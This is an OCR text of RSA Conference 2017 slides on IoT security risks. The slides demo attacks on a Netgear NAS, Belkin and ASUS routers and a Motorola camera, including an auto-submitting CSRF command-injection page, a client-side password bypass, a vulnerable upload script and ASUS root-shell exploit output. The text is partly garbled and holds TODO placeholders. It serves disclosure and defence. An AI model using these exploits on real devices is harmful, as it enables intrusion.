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What is the Internet of Things (loT)?

e Non-conventional, networdconnected devices
e Higher computational power than previous generations

e Examples: smart phones, routers, appliances (refrigerators, washing
machines, etc.), surveillance cameras, watches, home automation
systems, jet engines, vending machines;dmalng vehicles

e 25 billion connected devices by 2620

r‘ -‘ - thttps://www.gartner.com/newsroom/id/2905717 . ‘
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loT and the Enterprise Environment

e Potential to improve efficiency and productivity

e Industries: utilities, industrial, health care, manufacturing, transportation,
agriculture

e Potential to increase attack surface of corporate networks

edw. 88 UKS SYR 2F HaAamMTX 20SN) vn LIS
security services devoted to protecting business initiatives using devices ar
AaSNWAOSa Ay L2¢¢E

e 67% of executives will adolaT despite potential risks

e 25% of remote workers have at least da&device connected to a corporate
network?

L https://www.gartner.com/newsroom/id/2905717 ‘
A - 2 https://www.tripwire.com/register/%nterprise-of-things—report/ RSAConference2017
independent security evaluators A




What are the Dangers?

e Corporate bringyourr-own-device (BYOD) policiAsundetected
breaches

e SimilarlyJoTintroduces unaudited devices with poor security to the
network

e Often exempt from compliance with security policies
e Hard to install updates/patches

e Lack builin security (encryption, authentication, hardening, etc.)
e Default credentials (major infection vector for botnets)

'}S8 4
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What are the Dangers? (cont.)

e O T /£ AoT&e¥ices were vulnerable to some sort of attack; 608 Tof
devices with a user interface were vulnerable to issues like-gsitess

scripting and weak credentials; and 70%odidevices used encrypted
VSU02N] taSNIAOSa¢E

e Potential for mass exploitatién

e ExamplesMirai (1 TbpsDDoS, took down Internet DNS), BASHLITE (1 million
loThots),Linux.DarllozZRemaiten

L http://fortifyprotect.com/HP_loT_Research_Study.pdf

2 https://www.akamai.com/us/en/multimedia/documents/state-of-the-internet/sshowdown-
r‘ -‘ - exploitation-of-iot-devices-for-launching-mass-scale-attack-campaigns.pdf
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What are the Dangers? (cont.)

How the Mirai botnet almost took down an entire country,
and what your business can learn

Webcam firm recalls hackable devices after
mighty Mirai botnet attack

I0OT BOTNETS ARE THE NEW NORMAL OF DDOS ATTACKS

Modified Mirai botnet could infect five million
routers
New, more-powerful IoT botnet infects
3,500 devices in 5 days

More than 2,000 TalkTalk routers hijacked by
Mirai botnet variant

‘.':r Mirai Botnet Infects Devices in 164 Countries ‘
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Demo Devices

e NetgearReadyNA8N10400 Network Attached Storage (NAS)
e ASUS RNI56U Router

e Motorola Focus73 Camera

e Belkin N900 Router

158 |
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Netgear ReadyNAS RN10400

e Network Attached Storage

e Web Interface which connects backMNetgear
e Running Linux

e HasBusyboxnstalled

e Open ports; tcp/22, tcp/80

158 |
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Netgear ReadyNAS RN10400

2 Vulnerabilities
e Lack of CSRF Protection
e Arbitrary Command Injection

')S8 .
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Netgear ReadyNAS RN10400

1

- thod="post"=

<html=
<head=
<title= Netgear READY NAS CSRF</title=
<!-- Firmware Version: --=
</head=

<body=
=form name="readynas" action="https://192.168.1.72/dbbroker" enctype="text/plain" me

=input type="hidden" name="=?xml version" value="'l.0' encoding='UTF-8'?==xs:nml xml
ns:xs='http://www.netgear.com/protocol/transaction/NMLSchema-8.9"' xmlns='urn:netgear:nas:readynasd’
src='dpv_1391037437000"' dst='nas'=<xs:transaction id='njl id 3983'=<xs:custom id='njl _id 3982' name=
'SendTestMessage' resource-id='AlertConfig' resource-type='System'=<AlertConfig contact='jholcomb@se
curityevaluators.com' provider='custom' user='username' pass='passwordl!' SaYehelVE-AYsloraualoliie)rpuls
R C V- RS eV gl port='' from='jholcomb@securityevaluators.com' tls='false'/></xs:custom=<
/¥s:transaction=</xs:nml=>">

</form=

<script=
document . readynas.submit () ;
</script=>

</body=

2 </html=

#RSAC
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Netgear ReadyNAS RN10400

e TODO: screenshot of reverse shell
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Belkin N90O

e Wireless Router

e Web Interface which connects back to Belkin
e Running Linux (TODO)

e HasBusyboxnstalled (TODO)

e Open ports; tcp/53, tcp/80

')S8 .
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Belkin N90O

2 Vulnerabilities
e Clientside authentication
e Missing authorization checks
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Belkin N90O
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<script language="JavaScript">

var st={wrongpwd:'@',auto_check:'@",dut_pwd: '2f687099bf4b61bB8e97d1feB874aaa541" };
function SaveChanges()

{

var f = document.forml;

f.passwd.value = hex md5(f.passwd tmp.value);

f.passwd_tmp.value = "";

if(st.auto_check=="1" && (st.dut_pwd == f.passwd.value))

{
newwin=window.open("fwu_check.html","Firmware","toolbar=no,location=no,directories=no,status=no,menubar=
no,scrollbars=yes,width=395,height=280,resizable=02");

newwin. focus();

¥

f.submit();

¥

function copytol)

{

//RefreshTopFrame();

I

</script>

</head>

<body bgcolor="#ffffff" text="#000000" leftmargin="8" topmargin="8" marginwidth="8" marginheight="8"
onlLoad="copyto();">

<form name="forml" method="post" action="login.html">

<input type="hidden" name="page" value="login">

<input type="hidden" name="userid" walue="admin">

<input type="hidden" name="passwd" walue="">
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Belkin N90O

(w ﬂ Elements Console Sources MNetwork Timeline Profiles Application Security Audits  » : X
Sources | » : | 4 (index) util_system.html] X Pl [, A ¢ ¢
v O top a | 14| function SaveChanges() « | p Watch -
15| {
v 192.168.304 16 var f = document.forml; v Call Stack
» B language 17 f.passwd.value = hex md5(f.passwd tmp.value); f = form wtil_system.html:20
; 18| f. d_tmp.wvalue = "";

. index.html 19 passwe_tip . vatue ! saveChanges
commaon,js.html [FDif(st.auto_check=="1" && (st.dut_pwd == f.passwd.value)) util_system.html:88
webutilhtml 21 { onclick

_ 22 | newwin=window.open("fw_check.html”,"Firmware"”,"toolbar=no,location=n
i main_router.css.| 23| . mmim xS ) Paused on @
Y (no domain) v | _ JavaScript

r:‘ o 17 - RSAConference201/
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Belkin N90O

& C | ® 192.168.304/index.html|

794px x 434px

Paused in debugger | [I»

Security Audits  »

Network Timeline Profiles Application

[w ﬂ Elements Console Sources
v [ Preserve log

Q V¥ top
> st.auto_check="1"
g

> f.passwd.value=st.dut_pwd
< "2f687099bf4b61b8e97d1fe874aaa541"

>

- 18 A RSAConference2017
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Belkin N90O

€ C | @ 192168304/indexhtml T« aQEs =0 :

BELKI N.| Router Setup
Home | Help | Logout Internet Status: Not Connected

Utilities > System Settings

Administrator Password:

The Router ships with NO password entered. If you wish to add a password for more security, you can seta
password here. More Info

- Type in current Password > I:l
- Type in new Password > l:|
>hannel and SSID - Confirm new Password > l:|
. - Login Timeout > (1-99 minutes)

Time and Time Zone: January 1, 2009 1:09:09 AM

Please set your time Zone. If you are in an area that observes daylight saving check this box. More Info

- Time Zone > | (GMT-08:00) Pacific Time (US/Canada), Tijuana v
- Daylight Savings > ¥ Automatically Adjust Daylight Saving

- Primary NTP Server > [ 192.43.244 18-North America v |

- Secondary NTP Server > [132.163.4.102-North America v |

Remote Management:

ADVANCED FEATURE! Remote management allows you to make changes to your Router's settings from
anywhere on the Internet. Before you enable this function, MAKE SURE YOU HAVE SET THE ADMINISTRATC
PASSWORD. More Info

- Remote Management Enable / Disable > Enable ® Disable

Any IP address can remotely manage the router.

g - Only this IP address canr
Update manage the router >

- Remote Access Port >

Self Healing

UPnP Enabling:
ANVANCFN FEATUIRF! Allows ot 10 tirm the 1 1PnP featire of the Router on or off_[f unii nise annlic ations that
3
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-
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Motorola Focus73

3 vulnerabillities
e Lack of Authentication and Authorization Mechanism$uwmotonWeb Server
e Command Injection
e Remote File Inclusion

,‘,,depende‘m mﬂ!m;m 21 A RSAConference2017




Motorola Focus73

€ | @ 192,168.10.103:8080/fwupgrade.html v & ||Q search | &% &8 % & #|v

{5 Most Visited ¥ IilOfFensive Security ‘,KaLi Linux ~F\.KaLi Docs '\KaLi Tools i {Home ﬂExploit-DB \Aircrack-ng

MOTO CAMERA Cho B

Firmware Upgrade

Current Version: 0173-01.19.16

Browse... | No file selected. Upload

r:‘ o 29 RSAConference201/
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Motorola Focus73

e Uploaded file does not need to be a real firmware file
e /fwupgrade.html calls a CGl script

e This script is vulnerable to both command injection and remote file
upload

')S8 .
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Motorola Focus73

independent security e
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haserlold = (~/work/motocam) - VIM
Edit View Search Terminal Tabs Help

haserlold = (~/work/motocam) - VIM

#!/mnt/skyeye/bin/haserl --upload-1imit=30000 --upload-dir=/mnt/cache
content-type: text/html

<% if test -n "$HASERL uploadfile path"; then %=

rm -rf /mnt/cache/fwupload/* %=
mkdir /mnt/cache/fwupload %>
mv "$HASERL uploadfile path" "/mnt/cache/fwupload/$FORM uploadfile name" %=
echo "/mnt/cache/fwupload/$FORM uploadfile name" = /mnt/cache/new fwupgrade %=
touch /mnt/cache/upgrade_by web %=
rm -rf /mnt/cache/*.flv /mnt/cache/cgic* /mnt/cache/*.tar.gz %=
rm -rf /mnt/cache/UPLOAD_* %=
<% filesize="1s -al /mnt/cache/$FORM uploadfile name | awk '{print $5}'" %=
<% version="echo $FORM uploadfile name | cut -c6-13" %=
<% model="echo $FORM_uploadfile name | cut -d'-' -fl® %=
<% if [ $MODEL_ID == $model ] || [ $MODEL_ID != "@@6E" ]; then %=
<% killall -USRl fwupgrade %=
<% awk '{ gsub(/<insert version=/, ver); gsub(/<insert lastfilename=/,filename); gsub(/<insert b
ytecount=/,size); print}' ver=$version filename=$FORM uploadfile name size=$filesize /mnt/skyeye/mls
wwwr/OkPage . .html %=
<% else %=
<% awk '{ gsub(/<insert MESSAGE=/, message); print}' message="Wrong Firmware" /mnt/skyeye/mlswww
n/BadPage.html %=
<% fi %=

<% else %>

<% rm -rf /mnt/cache/UPLOAD_* %=
<% awk '{ gsub(/<insert MESSAGE=/, message); print}' message="You haven't uploaded a file yet."

/mnt/skyeye/mlswwwn/BadPage .html %=

<% Ti %=

RSAConference2017/



Motorola Focus73

POST /cgl-binshaserlupgrade.cgl HITR/1.1

Host: 192.168.10.103:8080

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0)

Gecko /20100101 Firefox/38.0 Iceweasel/38.7.1

Accept:

text/html, application/xhtml+xml, application/xml;q=0.9,*/%;q=0.8
Accept-Language: en-US,en;gq=0.5

Accept-Encoding: gzip, deflate

DMT: 1

Referer: http://192.168.10.103:8080/fwupgrade .html

Connection: close

Content-Type: multipart/form-data;

boundary=---c-mmm e 51819143511078600561186849303
4

Content-Length: 4

----------------------------- 5181914361 1078600561 166493034
Content-Disposition: form-data; name="uploadfile";
filename="motocam_sploit.py"

Content-Type: text/x-python

Lulu
----------------------------- £1819143611073600561166493034- -

[ - =
-
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Motorola Focus73

e TODO: screenshot of Burp request with actual exploit payload in
filename field

')S8 :
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ASUS RT-N56U

e Wireless Router

e Running Linux (TODO)

e HasBusyboxnstalled (TODO)

e Open ports; tcp/53, tcp/80, tcp/515, tcp/18017

')S8 .
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ASUS RT-N56U

2 vulnerabilities
e Clientside credential disclosure
e Web server stackased buffer overflow

')S8 .
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#RSAC

ASUS RT-N56U

ython asus_overflow.py

Title: ASUS RT-N56U Remote Root Shell Exploit - apps_name

Discovered and Reported: October 2013

Discovered/Exploited By: Jacob Holcomb/Gimppy - Security Analyst @ ISE

Contact: Twitter - @rootHak4?

software Vendor: http://asus.com

Exploit/Advisory: http://securityevaluators.com, http://infosec42.blogspot.com/
Software: httpd (Listens on TCP/B0O and TCP/443)

Tested Firmware Versions: 3.0.0.4.374_979 (0ther versions may be wvulnerable)
CVE: ASUS RT-N56U Buffer overflow: CVE-2013-6343

*] Please enter the URL of the router. Ex. http://192.168.1.1
=http://192.168.1.1

[*] Creating network socket

*] Preparing to f1ﬂgerpr1nt the server.
=] Conﬂectlng to 192.168.1.1 on port 80.
*] sending f]ngerEr1nt request.

*] Closing network socket.

1117 Server banner doesn't match available targets. [!!!]

[*] would you like to use HTTP Basic Authentication? "yes" or "no
=yes

[111] You chose to use HTTP Basic Authentication [!!!]

[*] Please enter the username for the routers HTTP Basic Authentication:
>admin

[*] Please enter the password for the supplied username:
>Passwordl

Preparing the malicious web request.
1 successfully built HTTP POST request.
Preqar1ng to send Evil PAYLoAd to 192.168.1.1 on port 80!
Payload Length: 256
Waiting. .
server Response: HTTP 200 OK. Get ready 2 catch roOt on TCP/31337!
None exploit code has finished.
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What Can Be Done?

e Revamped IT infrastructure

e Scaling up ability to monitor and analyze greater volume ofcdataeased bandwidth
and storage requirements

e Distributed network architectute
e Netflowanalysis, watch for anomalous traffic patterns from similar classes of devices

e Updated security and IT policies
e Mandated patching dbTembedded devices
e Credential management and commissioning process
e Inventory process

e |IPv6g Start planning and be aware of security implications
e Supply chain of trust: vetting your device vendors

‘rr L http://internetofthingsagenda.techtarget.com/feature/Plan-an-

l B Internet-of-Things-architecture-in-the-data-center .
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